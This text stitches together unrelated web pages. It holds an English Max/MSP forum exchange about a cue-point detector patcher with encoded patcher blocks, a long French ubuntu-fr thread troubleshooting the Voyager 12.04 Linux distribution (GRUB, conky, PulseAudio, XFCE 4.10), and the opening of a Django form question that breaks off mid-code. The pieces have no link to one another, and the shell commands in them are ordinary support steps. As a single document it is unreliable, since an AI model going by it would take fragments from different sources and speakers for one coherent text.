+zPpezhYV7wD1h6JrahFJZktxsdfVBkzjaK2O5XwsLWPqzSzxHM31ZrOBbq4
9XoezJ7CsLD0fOJ38lFwuDMPzZ5KPiBnqiVi0Lu3V.sbHEnJK1FMFnsOtkx7
rJKR1.sDDYrPK2kDAOA6PIPmRNISJlXNgIjmSpbaJHo5dNqQzPQKxAzhE2FZ
K2GIe0GhFJZ4NTd+oIf9Qq.zLgFGUiVvBwfPqwCeunk3alPns7lRrvrYzXHF
Q5SLB6mAEBIBjefk7CeOZJPKeHfkHHiEXIQtnyStMc9pt50HZnTqK9S39tDJ
PlRfZYuGMTpU3RMVzMQsLXCWMiFJZcwnJwW0VlMskEZI0lQCMQvk0FHxaCsT
QSzRGgLAWV2khtMzh+.2hGN2hcRR.OoNWrKE0asjmq.fEQv1yg4aQTsUe9Xf
1dyNI21pqb67sL5RvPAqKN8IdNcWAOAsQtoMZn4lBW7DJuMOgxvldBMQCEsF
VKpOz549RnR3twiYQKEwfksFAz5Rh.1yDgZ7g4MQqIZn9scooUl6xE+pwrYp
QPavq1NsMZJPKGcyn0tcZ9knglI3hMKgehs0S8QVwVJzEcazT.V9ztQaN4Nz
YJJLAS41o65NSwGgst5hnp4+zPelu+.lJC91C+KP++DFi
-----------end_max5_patcher-----------
This is only the tip of the iceberg, though. The next step I have to resolve is to be able to name the markers with specific shorthands texts that will visit a Lua dictionary, be converted into Lua syntax and then be passed onto a 3rd party AU as Lua script. It’s gonna be rough, but I’m positive it can be done.
k
Hello Kyle,
It’s working now. Thanks for showing how a coll object cab be used for deecting the collisions. I’s put the code into a patcher, so it can be reused in several songs. Here’s the code.
allof the following text. Then, in Max, select
New From Clipboard.
----------begin_max5_patcher----------
1824.3oc2b0sjaZCE9ZmYx6.CW1Y6Vze7Suqs22WfLY7fMZ8pDL3Avd2zLsO
6Ej.C3keDByhRlLArDBPee5nOczAs56e7CaL2E+JM0z32M9jwlMeOOmM77Jx
YSUFaLO5+59P+TdAMORSS8OPMen7hYzWy3WvA930LiNejEERy32BrJWV.ufw
69xuBvflEN9bVUoAUY+TbTVJ6en7LsdzpJeQYy91IpnhaZZ74pqcxOa+yrnC
aSn6yDWlfryuWCf3jmGOQ9uquohWTj+Q9iy7ORX9gF+YbXfI+x+6G+Pw47SO
HMEEQeIGiukgNY7xWBeb+Y51SwrnrsAzr7pYbR2zlUWzFxqGZCOcZ6g5++TX
re1v7HDYwoNRwQrkfTckgGa8PoIkLWE0keerP5EZRJKNpoAvFy5WtKQ793.x
f..Emrc8Z75yaUNDFu+qzflj2Fy.5SS74DehFUeK7R15vMEkEcJglRix7yJQ
PqWt+4vrssZTfO1cAdxeOs+a+Jy9WwmSXzDi+l9h40RdHgEDGUTcZ+DJxu5E
+oxFuhiMv.uHQ9m551yhiC24mbgkx1ERa25j2IvOhczOilwDUMnU8cxNdJI2
Fu8iiF4m+XdNceRbXX6ml3RW55RAzKr8zWXAYOyebMnuV5WMMpZ0Is8EFryZ
6Nr+lApVTqegs2zK81aoC4s21WETiqN6udSez95mhJ6mh3s0HHOQKC7t6qZd
8pkRdk+7gEgY2+reT8fHukZA8QsH7.jKZ.xk3Q.tNCxvEJgE1rkmFmps4TsG
+H1s3Hz5mElFaqQDMmgs0Zd9T34CoeKZ++Mcp1dHaZu4Q0Mn45SBoj7eDxRa
mw0eL8lGwQLwQOae9E0zxgDkDystSh41Mr7yq+ja74Zb+Wumz6Mt9eiNSH0O
QgwJQKB+NN0BcD9.BEiShey7Bde41gLcSxgG0H8aG2EGpvPlVCvvP0Y3Gjgk
KseENd5fdyjFzGRVQ8Ar2ZpOTNjnGQKzGFzMjB25mtSHtCvt34Y69vzrgItb
Rl3MMRtYYR8uPC1liq7G8V+rrD1t7N1oMn1lba9bhNtqb1r041ns5cocKkFl
WaM.JzyXYzc1k6NqbsakSDxRDwBGMV6Ijcg9XNBd1n3WaSoYJzUgnj+5R2UY
T5F.E7sqXRQ.MluECnxCawz4Y7pObJ1tRJReo3S96+pAyHUAci0xiP6lNDp0
5EB6Wd0X51uvUz9sLpTkFv1XcWSVLV8zsgIqpILVvxNqsD7fyW7.MaDE39H2
ACA3xytHGgMrmFOiwLic4+SAGtQvEwKhJm1j24sRtFK9hE1d+rpTf.qjwbkT
r3jGV6Gt652MMUAy50LFHh4g.IDs2uXVFMY5jKzakLgKIVwDyg1ZuELKPAx0
c0sbQflC3ooS2HgdhFEnFE6rVgfFzzgBant6t1vS3n2H76rtivURuDrt6ulB
VtKaH13mkMLaH8OFzyxQMHXcGkSDVB.Fq6pDx3mVujLbUI4xXW5BVYoBA.TY
0wLTfGrFkCDjfH3LvqGaSB6iOdjJVXWl5DxsmAxKEurw+PhbmYf7xuO6Ol.2
cNF6n6kwdikRYHKp2kiHuNTTfd3jz3yI6qDrplVkwM0m.ZZFK55BM8S0yQ31
R9LKH3lUyIm4YAkZy7a23yx2bNY.TLoaIAfmVBfhk.mb.fK7pFBP7OnrHr.H
qqIVTfAjGW5ooEeYfJIDTtgwV7o9g74kgP0oVViNjrHCqbai.YDwhguQhkEX
PoAVAE.TAXEtGW.lbOBK5G4bMwxhLoMFw5oPGR5llt52oK..HkbfiVB.hzVP
ZZCfzCozkLfN..o6CSlmpK1gKQ0HwhhKnzMLc4t1TbgAhQEmZjXYcAvQZfAz
RKNnzhtPvLaY.3FsLfk1jqK+R5QL1ROaYllokRdp.ABA.nknQoNkl.MxrQlH
JZ4mpRsrHyUVW.PP80GFnT5AJ6CSYaCR729PyTKqh.Q11FnxcnVViK4CkAbd
Z0.G6ZsZdhkGXx43LRUfQD+YeXyAFzQfL6kFY1xOoLaMMFGKef.JaMHhkJnc
cBcI5MpCMj8Z.M4CYHVO88g2swVJkNhd57FQ9fapmykF6Mo.kMmH.JVA1MRr
r.S9QQ0yNGxGaV92ibdAmEU889qRsrZxVxCs6eHzptPAXJ2sXF4OVt5cOlN2
4T5cCW4PX7N+vxshlqeLey69Fxxn67K89HtxDJu+CkEe3PHs6cUHPm6pPitY
L049Jvf6WPXW2F66Rh+1vf0Sz3ttuJUrSyzw5NYbjCs6A3ViscJ00mT1C1.w
kv2cQ2oo5cy35BilLgciKx6zlwErkQw5tYbwMZhheQdqEzczXAhZZrHVa3JY
rHtg1K8fRl41AAp3mNbHuvkCT86tGkeb6Ym2gpeOJ9c1vMwpGXrpGr8Ptuu0
NqQIOxJxcvQqc2DjbMi7PytxUjQ9o+G.U7J7c
-----------end_max5_patcher-----------
Xanadu,
Wow, thanks so much, this is awesome. I love the name too; "Cue Point Detector". In an earlier post you wrote; "Your songtimer does not repond to loops. Perhaps there are no loops when synchronizing with video. I came up with this timer some time ago". I didn’t envision the need for looping when I originally thought about creating this patcher, but I make sense to include that kind of functionality just incase someone using the tool has a need for it. I was wondering if you would mind if I added your looping functionality to the Cue Point Detector. Also, if you don’t mind, send me an email with your info to kyle at moontechstudios dot com. I’d like to credit you once the object is complete.
thx,
k
Hi Kyle,
Thanks for your kind words.
The patcher in my previous post is already responding to loops. I envision to use this device to automate playing parts of songs by sending the cue_point names to a route patcher and then triggering scenes or take other actions. An e-mail was send to you.
Thanks to both of you for posting – very helpful in steering me in the right direction on a project i am working on.
cheers and if you are ever in NYC – beers on me.
shane
|
rodofr
Re : Voyager 12.04
Ah ! mais voyager n'est pas aussi parfaite que ça !!!:lol: Il y a toujours des erreurs et ainsi va le monde. C'est parfois un problème de droits mais je crois que c'est sur la 32 bits. Je l'ai déjà souligné sur le forum et sur astuces sur mon site.
Hors ligne
Tux35
Re : Voyager 12.04
Hello
Et me revoilà, nouvel utilisateur de Voyager, suite à un post sur le site Le Libriste
En effet, ma mise à jour de ma 11-10 vers la 12.04 a complètement déconné, il faut dire que j'avais quelques soucis
suite à des installs pas forcément faites dans les règles de l'art....Bref
J'en ai donc profité pour tester cette version XFCE, et ma foi, j'aime bien, pas de problèmes particulier sinon celui que je vais exposer...mais qui ne tiens pas à la distrib en elle même
Du beau boulot donc, chapeau bas Mr RodofR :)
Mon problème viens donc d'une invite
GRUB Rescueau démarrage, ce qui me force à laisser le CD d'install dans le lecteur et à choisir manuellement l'entrée "
Amorcer sur le DD principal"
Pas pratique
J'ai ce souci sur mon PC depuis l'apparition de Grub2 et ce quelque soit la distrib installée (ubuntu, debian, pinguy...); avant, cela se passait bien....
Et généralement, je finis par le supprimer pour réinstaller Grub Legacy, le premier du nom....:/
Mais bon, ça ne me satisfait pas, ça devrait fonctionner....
un historique de mes soucis
http://forum.ubuntu-fr.org/viewtopic.php?id=376253
Mon Fdisk -l1 disque de 1 TO pour Linux et 2 disques de 80 et 120 Go en NTFS et IDE d'origine installé via des adaptateurs pata/sata, 1 par unité
Disk /dev/sda: 1000.2 GB, 1000204886016 bytes
255 têtes, 63 secteurs/piste, 121601 cylindres, total 1953525168 secteurs
Unités = secteurs de 1 * 512 = 512 octets
Taille de secteur (logique / physique) : 512 octets / 512 octets
taille d'E/S (minimale / optimale) : 512 octets / 512 octets
Identifiant de disque : 0x00094e51
Périphérique Amorce Début Fin Blocs Id Système
/dev/sda1 * 2048 1940959231 970478592 83 Linux
/dev/sda2 1940961278 1953523711 6281217 5 Étendue
/dev/sda5 1940961280 1953523711 6281216 82 partition d'échange Linux / Solaris
Disk /dev/sdb: 120.0 GB, 120034123776 bytes
255 têtes, 63 secteurs/piste, 14593 cylindres, total 234441648 secteurs
Unités = secteurs de 1 * 512 = 512 octets
Taille de secteur (logique / physique) : 512 octets / 512 octets
taille d'E/S (minimale / optimale) : 512 octets / 512 octets
Identifiant de disque : 0x000215b5
Périphérique Amorce Début Fin Blocs Id Système
/dev/sdb1 2048 234440703 117219328 7 HPFS/NTFS/exFAT
Disk /dev/sdc: 80.0 GB, 80026361856 bytes
255 têtes, 63 secteurs/piste, 9729 cylindres, total 156301488 secteurs
Unités = secteurs de 1 * 512 = 512 octets
Taille de secteur (logique / physique) : 512 octets / 512 octets
taille d'E/S (minimale / optimale) : 512 octets / 512 octets
Identifiant de disque : 0x0009a76c
Périphérique Amorce Début Fin Blocs Id Système
/dev/sdc1 63 156296384 78148161 7 HPFS/NTFS/exFAT
Disque /dev/sdd : 1028 Mo, 1028653056 octets
16 têtes, 18 secteurs/piste, 6976 cylindres, total 2009088 secteurs
Unités = secteurs de 1 * 512 = 512 octets
Taille de secteur (logique / physique) : 512 octets / 512 octets
taille d'E/S (minimale / optimale) : 512 octets / 512 octets
Identifiant de disque : 0x00084f6d
Périphérique Amorce Début Fin Blocs Id Système
/dev/sdd1 2048 2009087 1003520 b W95 FAT32
J'ai bien sur testé la manip qui consiste à reprendre la main à l'invit Grub Rescue, mais lorsque je rentre
Grub rescue > insmod /boot/grub/linux.mod
Il me réponds toujours no such disk ; Précisons que le fichier est bien présent....:rolleyes:
J'ai également testé le logiciel de la distrib pour réparer le démarage, sans succès ; Voici le fichier Bootinfo généré :
http://paste.ubuntu.com/979781/
Merci de vos lumières, j'ai quand même l'impression que ça tiens à pas grand chose.....:mad:
Olivier
Mint 16 - Petra - bureau Cinnamon - Kernel 3.11.0-12-generic
AMD Phenom Quad Core 9550 - CG Sapphire Radeon HD 5770 1Go
SSD Kingston 120G0 + HDD Samsung SATA 1 TO
Hors ligne
Tux35
Re : Voyager 12.04
Bon, je me réponds tout seul...
Depuis le temps que ça durait, je me suis subitement dit que ça venait peut être d'un paramétrage de ma carte mère ? pourquoi pas....
J'ai donc remis le boot par défaut sur le DD (avant je bootais sur le DVD en premier et le DD en second) et supprimé la gestion RAID qui
de toute façon m'alourdissait l'initialisation du BIOS
ET, miracle, ça fonctionne
Désolé pour ce post, mais bon, des fois, en postant, ça me remotive pour chercher....LOL
Je continue donc ma découverte et mon paramétrage de ma Voyager
Olivier
Mint 16 - Petra - bureau Cinnamon - Kernel 3.11.0-12-generic
AMD Phenom Quad Core 9550 - CG Sapphire Radeon HD 5770 1Go
SSD Kingston 120G0 + HDD Samsung SATA 1 TO
Hors ligne
demdream
Re : Voyager 12.04
Un grand merci pour Voyager qui ma réconcilié avec le monde Linux. Après avoir testés Gnome 3 et Unity, j'étais retourné vers Windows 7 vu que ces interfaces ne m'avaient pas du tout convaincu....
Voyager est vraiment jolie, légés et stable. Donc merci pour le boulot réalisés
Hors ligne
olep
Re : Voyager 12.04
Bonjour!
Je possède un eeepc équipé d'un atom Z520 et d'une carte graphique GMA500 et qui aujourd'hui, souffre avec win7....
Voyager 12.04 peut-elle mieux fonctionner qu'une ubuntu classique sur ce genre de petit netbooks?
Parce que Ubuntu et les gma500, dur dur.... même en mode live...
Merci d'avance pour vos avis éclairés!
Asrock Extreme4 990FX, AthlonX4-640, CG RADEON HD 6570
Ubuntu64 14.04 depuis le 17/05/2013 à 16h30 environ....
Hors ligne
Major Grubert
Re : Voyager 12.04
Salut olep.
Voyager devrait être plus léger qu'Ubuntu en principe.
Cependant sur mon EeePC (atom n450, CG ?, 2Go de mémoire vive), qui était avant sous Voyager, j'ai essayé de mettre Gnome Shell en plus de Voyager et comme ça tournait relativement bien (un peu moins réactif tout de même), j'ai formaté et mis Ubuntu + GS et, à vrai dire, je ne vois pas de différence. Pour être honnête, Ubuntu + GS est même plus réactif que Voyager !
Ça vient peut-être du fait que j'avais mis Voyager 64b et que j'ai mis Ubuntu 32b.
En tout cas, avec juste les tâches de fond (dont dropbox, à jour) et le moniteur système, je suis à 10/20% de CPU et 253 Mo de mémoire vive.
Donc, chez moi, Ubuntu tourne sur mon EeePC. Maintenant tu peux choisir Voyager qui doit pouvoir descendre plus bas qu'Ubuntu en bidouillant un peu.
Pour en savoir plus sur Gnome Shell.
. Lenovo Yoga 13 : Windows 8.1 / Ubuntu Gnome 14.04
. Asus x7010 : Ubuntu 14.04 (Gnome Shell)
. Asus Eeepc : Xubuntu 14.04 (32b)
Hors ligne
pascal5
Re : Voyager 12.04
Bonjour,
Cela fait une semaine que j'utilise Voyager 64 bits sur mon portable. Depuis 2007, j'utilise Ubuntu en double amorçage avec Windows 7, mais pour des raisons de principes j'ai pris la décision de ne conserver qu'un système libre. Alors me voilà maintenant sur Voyager, que j'aime beaucoup et que je préfère à la version standard tout en étant plus accessible que Debian xfce.
Voici les remarques que je peux faire jusqu'à maintenant.
1. Pilote de carte graphique et branchement dans un écran externe en hdmi
D'abord, je voulais branché mon moniteur lcd en hdmi dans mon portable et n'utiliser que cet écran que j'ai acquis récemment. J'ai commencé par utiliser les pilotes libres pour la carte graphique nvidia, mais les films en hd ne sont pas fluides, les vidéos sont saccadées. Alors, j'ai installé le pilote propriétaire, mais ça n'a pas été très intuitif pour paramétrer l'écran en hdmi dans nvidia settings. Un problème qui se pose sous xfce (je ne sais pas pour les autres), c'est qu'on doit sauvegarder la configuration dans xorg, et si par exemple on est quelqu'un de mobile et qu'on veut simplement se brancher à un autre écran, il faut tout reconfigurer. Contrairement à Windows, le bouton de mon portable pour basculer d'un écran à l'autre ne fonctionne pas.
2. Clavier externe
J'utilise un clavier externe pour mon portable, c'est le k800 de Logitech. Les raccourcis clavier ne sont pas reconnus par défaut. Cependant, j'ai trouvé assez simple de les paramétrer dans la configuration du clavier. La seule chose que je n'ai pas réussi à faire c'est de configurer la touche qui permet d'activer la mise en veille. Si quelqu'un a la solution, ce serait apprécié.
L'autre chose c'est que parfois lorsque je redémarre mon ordinateur, la connexion sans fil du clavier et de la souris n'est pas reconnue. Je dois débrancher et rebrancher le module usb.
3. Configuration du vpn
J'ai eu de la difficulté à configurer ma connexion vpn avec gnome network manager. Une fois que j'avais importé le fichier de configuration la connexion fonctionnait pour le temps de la session, mais dès que je redémarrais l'ordinateur, la connexion échouait et je ne pouvais pas faire de modification dans les paramètres de la connexion. J'ai finalement trouvé la solution: lorsqu'on importe le fichier de configuration, par défaut la connexion est configurer pour être valable pour tous les utilisateurs; une fois décoché cette option, tout est rentré dans l'ordre. Mais je ne comprend toujours pas pourquoi cela posait problème.
4. Conky
C'est vraiment un plus de Voyager de pouvoir avoir les conky: j'ai souvent voulu les utiliser par le passé mais je n'avais pas le temps de m'en occuper. Avec Voyager tout est assez simple. Cependant, j'ai remarqué que pour certains conky, la surveillance de certains paramètres de l'ordinateur de fonctionne pas, en particulier l'espace disque disponible et la connexion internet. Celui que j'utilise maintenant et qui fonctionne parfaitement, c'est le conky #19 (Conkycore).
5. Minitube
Hier, j'ai testé Minitube. Je trouve que l'idée de ce logiciel est bonne mais ne semble pas au point. Certaines vidéos fonctionnent et d'autres non. De plus, lorsque l'on clique sur l'option d'afficher les dix vidéos suivantes, rien n'apparaît.
6. Démarrage du bureau après le login
Le plus gros problème que j'ai actuellement, c'est que une fois que j'ai entré mon mot de passe à l'écran de login après avoir démarrer l'ordinateur, celui-ci reste en suspend pendant environ 40 secondes. J'aimerais savoir qu'est-ce qui fait bloquer l'ordinateur pour pouvoir commencer à trouver une solution. Quelqu'un pourrait-il me dire s'il y a un mode "verbose" et comment l'activer? Ou mieux encore, quelqu'un sait-il déjà où se trouve le problème?
C'est quelques remarques ne changent pas que je trouve l'expérience utilisateur de Voyager globalement positive.
Hors ligne
olep
Re : Voyager 12.04
Salut olep.
Voyager devrait être plus léger qu'Ubuntu en principe.
Cependant sur mon EeePC (atom n450, CG ?, 2Go de mémoire vive), qui était avant sous Voyager, j'ai essayé de mettre Gnome Shell en plus de Voyager et comme ça tournait relativement bien (un peu moins réactif tout de même), j'ai formaté et mis Ubuntu + GS et, à vrai dire, je ne vois pas de différence. Pour être honnête, Ubuntu + GS est même plus réactif que Voyager !
Ça vient peut-être du fait que j'avais mis Voyager 64b et que j'ai mis Ubuntu 32b.
En tout cas, avec juste les tâches de fond (dont dropbox, à jour) et le moniteur système, je suis à 10/20% de CPU et 253 Mo de mémoire vive.
Donc, chez moi, Ubuntu tourne sur mon EeePC. Maintenant tu peux choisir Voyager qui doit pouvoir descendre plus bas qu'Ubuntu en bidouillant un peu.
Merci pour ces infos!
Asrock Extreme4 990FX, AthlonX4-640, CG RADEON HD 6570
Ubuntu64 14.04 depuis le 17/05/2013 à 16h30 environ....
Hors ligne
rodofr
Re : Voyager 12.04
pascal5@4. Conky
vas dans la home cachée à .conky et prend les conkys que tu veux, ouvre le fichier avec leafpad et à
own_window_type desktop
A la place de desktop testes
'normal' ou 'override' voir aussi "Conky
6. Démarrage du bureau après le login
Effaces tes anciennes sessionsclic droit/réparation aide/Suppression Old sessions
redémarres la session et voit si cela s'améliore
Hors ligne
rodofr
Re : Voyager 12.04
Nettoyeur du Kernel / super script
Le parent pauvre de BleachBit. D'où la nécessité d'installer ce nettoyeur de kernel surtout qu'après la mise à jour de la 12.04, se trouve un second kernel inutile et qui prend de l'espace.
Une fois télécharger Kclean.deb cliquer droit dessus et sélectionner ouvrir avec l'installeur Gdebi
Une fois le script installé via le .deb, son icône se trouve normalement dans Système/Administration et rechercher kclean
Hors ligne
pascal5
Re : Voyager 12.04
Merci de m'avoir répondu rodofr.
J'ai remplacé Minitube par Gmediafinder et c'est beaucoup mieux. Merci!
En ce qui concerne le démarrage de la session, j'ai fait comme tu m'as dit deux fois mais ça ne s'améliore pas. Je ne sais pas si ça peut aider, mais j'ai remarqué que quand je démarre l'ordinateur en mode dépannage, je n'ai pas de problème.
Hors ligne
pascal5
Re : Voyager 12.04
Pour ceux que ça pourrait intéresser, dans le message #133 je parlais du fait que le raccourci clavier pour mettre l'ordinateur en veille ne fonctionnait pas et j'essayais de trouver la commande pour le configurer dans les paramètres du clavier. En fait, je me suis creusé la tête pour rien, puisqu'il fallait simplement activer l'option correspondante dans le gestionnaire d'énergie, qui est bizarrement désactivée par défaut...
Hors ligne
irma_ubuntu
Re : Voyager 12.04
bonjour
je continue de tester voyager dans virtualbox
et toujours content de ce ce que je vois
juste une question mais peut-être que çà c'est déjà vu :
je fais des essais en chargeant des logiciels
çà me les installe au bon endroit dans les menus
mais les menus ne sont pas du tout rangés par ordre alphabétique ... et çà devient vite la zone pour retrouver une application
comment on remédie à cela ?
merci
Hors ligne
popololo
Re : Voyager 12.04
bonjour
je continue de tester voyager dans virtualbox
et toujours content de ce ce que je vois
juste une question mais peut-être que çà c'est déjà vu :
je fais des essais en chargeant des logiciels
çà me les installe au bon endroit dans les menus
mais les menus ne sont pas du tout rangés par ordre alphabétique ... et çà devient vite la zone pour retrouver une application
comment on remédie à cela ?
merci
clic droit sur le menu propriétés puis éditer le menu.
Hors ligne
popololo
Re : Voyager 12.04
Kcleaner : Il me semble qu'il est important de garder deux noyau en cas de problème c'est plutôt pratique...
Hors ligne
rodofr
Re : Voyager 12.04
Installer XFCE 4.10 pour Voyager 12.04
Les développeurs de XFCE viennent de sortir un PPA de XFce 4.10 pour Xubuntu 12.04 Precise
Je viens de le faire et aucun problème pour Voyager 12.04. J'espère pour vous aussi.
Lien ici
Alias
add ppa:xubuntu-dev/xfce-4.10
update
upgrade
Réglage voyager 12.04 après mise à jour. La barre AWN annule des icônes. Donc, quitter la barre AWN, clic droit sur la barre et quitter et redémarrer la barre à Menu/Accessoires/Avant Window Navigation
Si les applets du panel du haut sont tous à gauche faites : clic droit sur le panel du haut aller à Tableau de bord/préférence du tableau de bord/Greffons/ cliquer sur séparateur (croix rouge) éditer le greffon sélectionner (à droite l’icône tableau) sélectionner Étendre. Voilà et à bientôt
Hors ligne
leouaf
Re : Voyager 12.04
Major Grubert a écrit :
Salut olep.
Voyager devrait être plus léger qu'Ubuntu en principe.
Cependant sur mon EeePC (atom n450, CG ?, 2Go de mémoire vive), qui était avant sous Voyager, j'ai essayé de mettre Gnome Shell en plus de Voyager et comme ça tournait relativement bien (un peu moins réactif tout de même), j'ai formaté et mis Ubuntu + GS et, à vrai dire, je ne vois pas de différence. Pour être honnête, Ubuntu + GS est même plus réactif que Voyager !
Ça vient peut-être du fait que j'avais mis Voyager 64b et que j'ai mis Ubuntu 32b.
En tout cas, avec juste les tâches de fond (dont dropbox, à jour) et le moniteur système, je suis à 10/20% de CPU et 253 Mo de mémoire vive.
Donc, chez moi, Ubuntu tourne sur mon EeePC. Maintenant tu peux choisir Voyager qui doit pouvoir descendre plus bas qu'Ubuntu en bidouillant un peu.
Sans bidouiller et apres mise a jour du noyau 64 Bits (et nettoyage) 315 Mo de Ram utilise sur 2 Go (Ubuntu Gnome Shell 32 Bits 524 Mo), dur de faire mieux avec avec une une interface UserFriendly.
Chapeau bas Mister Rodofr.
Comme je l'ai dis dans mes posts précédents, bien que je sois peu actif sur le Forum, j'installe Voyager en Dur depuis le début, et je n'ai rien a redire.
Fi le terminal et synaptique, tout est la.
De la station radio au controle parental.
Quoi demandé de plus, Mamie est contente, et la Blonde aussi.
Ami rétracteur, a vous de jouer, il me tarde de vous testez.
Dernière modification par leouaf (Le 12/05/2012, à 00:17)
PC: Double Boot: Chakra - Voyager Debian Unstable Laptop: Manjaro XFCE
Hors ligne
popololo
Re : Voyager 12.04
Install de Xfce 4.10 via le ppa. Léger problème de thème (axiomd). Bordel dans le menu paramètres que je ne peux éditer, de plus il affiche des programmes dans le menu édition qui n'apparaisse pas dans le menu. Verrais comment régler ça demain. Le reste fonctionne bien.
J'apprécie de plus en plus Xfce et cette voyager.
Hors ligne
Hors ligne
enebre
Re : Voyager 12.04
à fraide
Ne sachant pas si tu as réglé le problème pour ton affichage LCD, j'ai trouvé un article dans la doc d' xfce qui pourrait résoudre la situation, je n'ai pas essayé.
LCD Hinting
On some systems LCD hinting results in better fonts. But because this is not working on all system, this setting is not configurable through the interface. You can set it with a simple query.
xfconf-query -c xsettings -p /Xft/Lcdfilter -n -t string -s lcddefault
Other possible values are lcdnone, lcddefault, lcdlight and lcdlegacy. You can check if the property is set property, run xrdb -query in a terminal. To fully apply the LCD hinting, it is advised to logout and in again (for restarting the X server).
Si tu décide d'essayer cette solution, fais nous part de tes découvertes, merci.
Dernière modification par enebre (Le 14/05/2012, à 10:21)
Hors ligne
popololo
Re : Voyager 12.04
Install de Xfce 4.10 via le ppa. Léger problème de thème (axiomd). Bordel dans le menu paramètres que je ne peux éditer, de plus il affiche des programmes dans le menu édition qui n'apparaisse pas dans le menu. Verrais comment régler ça demain. Le reste fonctionne bien.
J'apprécie de plus en plus Xfce et cette voyager.
Je me réponds donc la solution est :
The Uploader a écrit :
- le menu paramètres affiche de nouveaux tous les outils de configuration Xfce (ça fait un menu paramètres assez grand)
Mais en gros, tu peux modifier /etc/xdg/xdg-xubuntu/menus/xfce-applications.menu pour remplacer :
<Not><Category>X-XFCE</Category></Not>
<Not><Category>X-XfceSettingsDialog</Category></Not>
par
<Not><Category>XFCE</Category></Not>
<Not><Category>X-XFCE-SettingsDialog</Category></Not>
Et ça devrait faire un menu à la Xubuntu.
Sur le fil concernant le ppa 4.10 http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9236161
http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9236161
Dernière modification par popololo (Le 12/05/2012, à 21:45)
Hors ligne
atunoa
Re : Voyager 12.04
J'ai fini par abandonner Gnome pour xfce suite à plusieurs avis, dont celui de Linus Torvald himself, qui émettait de sérieux doutes sur l'état psychique des développeurs de Gnome 3 et avait choisi l'alternative Xfce (voir cet article).
J'ai hésité à installer la version Debian de Mint, mais j'ai pas apprécié certains propos insultants sur cette distribution-ci, de plus les dépôts d'Ubuntu c'est vachement facile, et puis surtout un forum sur Linux, comme ici, y en a qu'un.
L'arrivée de Conky control sur une distribution fort améliorée a suffit à me laisser aller à la tentation. Après une perte de tout (grub absent?) inexpliquée, la seconde fois est la bonne. Surtout que j'avais fait la bêtise de copier mon .Mozilla, perdant toutes les améliorations de Rodofr sur Firefox. (Sauve tes favoris et autres modules à part).
Je suis un fan de conky et mon préféré est présent dans la distribution sous le nom de n°20. Mais il manquait un certain détail à corriger. Nous ne sommes plus sur Ubuntu... mais sous Voyager.
J'ai profité pour tester le nouveau Gimp, en une seule fenêtre, c'est la légende qui s’en va, en bricolant quelques pictos, à ajouter dans l'horloge.
Tu ouvre le dossier Home/ton nom à toi/.conky/conky20/ où tu mets les images
(ctrl+h, pour voir les fichiers et dossiers cachés)
tu édite le fichier conkyrc
et tu change la ligne dans ${image ~/.conky/conky20/new-ubuntu-logo.png
en mettant l'image qui te plait le mieux, ce qui devient, par exemple,${image ~/.conky/conky20/xubuntuVoyager3.png
Tant que tu y es, tu peux changer le lieu de la météo en cherchant le code de ta ville sur
Weather Noa et en le substituant aux 4 lettres majuscules de la fin cette ligne ${weather http://weather.noaa.gov/pub/data/observ … /stations/ EBFS.
Pour finir, on peux traduire les HOME, DISK, et autres infos en français, les substituant dans le texte par MAISON, DISQUE ou autres. SI le fini, n'est pas nickel, il y a moyen de jouer sur les "goto" qui précède le mot pour les bouger de place.
Cerise sur le gâteau, en enregistrant votre nouvelle configuration du conky, celui-ci se met directement à jour. Ce qui permet d'ajuster l'emplacement au mieux...Une merveille de Didier-T...
Merci Rodofr pour cette splendide distribution.
Panasonic cf-51 X 2 Obsolescence inconnue, Core Duo T2500 2.0 GHz / 2 Go (c'est court) ; Voyager 13.04 en étant passé par toutes les autres;
Hors ligne
rodofr
Re : Voyager 12.04
Quelques problèmes rencontrés dont je vous rapporte la possible solution
conky 11 avec la date et l’heure qui affiche l’heure AM au lieu de PM (genre la il est 22h et ça me dit 10h) bien que l'heure du système soit bonne
Ouvrir le terminal et coller
sudo leafpad ~/.conky/conky11/Date-Hour
changer la dernière ligne par
${voffset 8}${font Ubuntu Light:size=80}${time %H:%M}${font}${voffset -8}
puis enregistrer
Problème son avec pulseaudio
Les problèmes peuvent en partie se régler en purgeant le fichier pulse dans la home qui remettra une config propre par défaut avec redémarrage
terminal rm -R ~/.pulse/*redémarrer la session
XFCE - Raccourci clavier monter/baisser le son
menu / paramètres / gestionnaire de paramètres / clavier
Onglet raccourcis des applications et faire ajouter
- Monter le son :
commande =
amixer set Master 2dB+ unmute
Valider, une autre fenêtre s'ouvre et appuyer sur la touche concernée par exemple F1 et les deux commandes s'affichent sur un cadre
- Baisser le son :
commande =
amixer set Master 2dB- unmute
- Activer/désactiver le son :
commande =
amixer set Master toggle
Redémarrer parfois la session pour activer l'effet
Hors ligne
daisy-duck
Re : Voyager 12.04
Salut,
je voudrais tout d'abord féliciter Rodofr pour le travail fourni, la disponibilité et le suivi de sa distribution. Je remercie également les contributeurs permettant de cerner les avantages et les inconvénients.
Voyager m'a réconcilié avec Gnu-Linux à l'automne dernier. Je n'irai pas cracher sur la soupe.
Toutefois, je n'ai pas réinstallé Voyager 12.04 qui m'a semblé beaucoup trop gourmand en ressources actuellement.
Je crois que des questions ont été posées sur l'utilisation de la RAM par Voyager et sauf erreur, je n'ai pas lu de réponse technique satisfaisante à ce sujet, mais plutôt des explications émotionnelles.
Préalablement à la sortie de Voyager 12.04, j'ai eu le temps de tester d'autres distributions et environnements. Le constat est assez parlant:
Démarrage "à vide" avec configuration et applis identiques sur les dernières versions 64 bits:
92 mo de ram avec Lubuntu. 100-120 avec Xubuntu, SalineOs, LMDE. 270 avec Ubuntu. 300 avec Linux Mint 13. 330-350 avec Voyager.
J'ignore ce qu'en pense Rodofr.
Bien entendu ce ressenti n'est pas hostile. Cela pourrait être presque une question philosophique sur l'esthétisme, lequel ne devrait pas, à mon mon avis, prendre le pas sur les ressources.
Proposer des contenus payants dans la logithèque. Même Windows Update n'aurait jamais osé faire ça.
Hors ligne
|
Possible Duplicate:
Validating a form with overloadedinit
I've spent the entire afternoon trying to figure out what I'm doing wrong here, and I know it's going to be something face-palmingly stupid. When the user fills out a form, the location selection box depends on the country of the user and lists different cities accordingly.
Model & Modelform
class Cars(models.Model):
owner = models.ForeignKey(User)
name = models.CharField(max_length=25)
location = models.PositiveIntegerField(default=1)
created = models.DateTimeField(default=utc_time)
class CarsForm(ModelForm):
def __init__(self, country, *args, **kwargs):
